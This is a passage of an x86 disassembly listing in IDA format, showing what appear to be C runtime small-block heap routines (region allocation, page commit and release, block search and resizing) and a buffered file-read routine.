		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9C0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9B0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		call	near ptr 27A0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9B0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9B0, 0
		jnz	short loc_41E9F6
		mov	off_43A9B0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9B4, 0
		jnz	short loc_41EA1B
		mov	off_43A9B4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9B4
		mov	[esi+4], eax
		mov	off_43A9B4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 289058Bh


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 2790000h
		nop


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 289058Bh
		cmp	off_43C9D0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9D0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9C0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9B4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 289058Bh
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9D4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9B4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9B0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9D4
		cmp	dword_4DB9D4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9D0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9D0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9D0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9B0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 289065Bh
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9D0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9D0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCCA0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D030


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCDA0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCCA0h[eax*4]
		mov	eax, dword_4DCCA0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
